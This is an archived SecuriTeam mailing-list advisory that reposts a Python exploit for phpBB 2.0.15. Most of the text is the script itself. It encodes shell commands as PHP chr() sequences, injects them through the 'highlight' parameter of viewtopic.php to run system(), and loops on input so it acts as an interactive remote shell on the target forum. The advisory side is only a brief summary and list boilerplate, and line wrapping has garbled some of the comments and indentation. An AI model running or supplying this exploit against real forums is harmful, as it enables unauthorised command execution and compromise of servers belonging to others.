[EXPL] phpBB Remote PHP Code Execution (viewtopic.php 2)

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion

The SecuriTeam alerts list - Free, Accurate, Independent.

Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html

- - - - - - - - -

phpBB Remote PHP Code Execution (viewtopic.php 2)
------------------------------------------------------------------------

SUMMARY

" <http://www.phpbb.com/> phpBB is a high powered, fully scalable, and
highly customizable Open Source bulletin board package".

The following exploit code utilizes a vulnerability in phpBB to cause
phpBB to execute arbitrary code.

DETAILS

Vulnerable Systems:
* phpBB version 2.0.15

#!/usr/bin/pyth0n
#
################################ this exploit for
# phpBB
2.0.15
print "\nphpBB 2.0.15 arbitrary command execution eXploit" # emulates
a shell,
print " 2005 by rattle@awarenetwork.org" # rather
than
print " well, just because there is none." # sending a
single
# command.
import sys ##
from urllib2 import Request, urlopen
from urlparse import urlparse, urlunparse
from urllib import quote as quote_plus

INITTAG = '<g0>'
ENDTAG = '</g0>'

def makecmd(cmd):
return reduce(lambda x,y:
x+'.chr(%d)'%ord(y),cmd[1:],'chr(%d)'%ord(cmd[0]))

_ex = "%sviewtopic.php?t=%s&highlight=%%27."
_ex += "printf(" + makecmd(INITTAG) + ").system(%s)."
_ex += "printf(" + makecmd(ENDTAG) + ").%%27"

def usage():
print """Usage: %s <forum> <topic>

forum - fully qualified url to the forum
example: http://www.host.com/phpBB/

topic - ID of an existing topic. Well you
will have to check yourself.

"""[:-1] % sys.argv[0]; sys.exit(1)

if __name__ == '__main__':

if len(sys.argv) < 3 or not sys.argv[2].isdigit():
usage()
else:
print
url = sys.argv[1]
if url.count("://") == 0:
url = "http://" + url
url = list(urlparse(url))
host = url[1]
if not host: usage()

if not url[0]: url[0] = 'http'
if not url[2]: url[2] = '/'
url[3] = url[4] = url[5] = ''

url = urlunparse(url)
if url[-1] != '/': url += '/'

topic = quote_plus((sys.argv[2]))

while 1:

try:
cmd = raw_input("[%s]$ " % host).strip()
if cmd[-1]==';': cmd=cmd[:-1]

if (cmd == "exit"): break
else: cmd = makecmd(cmd)

out = _ex % (url,topic,cmd)

try: ret = urlopen(Request(out)).read()
except KeyboardInterrupt: continue
except: pass

else:
ret = ret.split(INITTAG,1)
if len(ret)>1: ret = ret[1].split(ENDTAG,1)
if len(ret)>1:
ret = ret[0].strip();
if ret: print ret
continue;

print "EXPLOIT FAILED"

except:
continue

ADDITIONAL INFORMATION

The information has been provided by <mailto:rattle@awarenetwork.org>
rattle.
The original article can be found at:
<http://www.milw0rm.com/id.php?id=1076>
http://www.milw0rm.com/id.php?id=1076

========================================

This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

====================
====================

DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.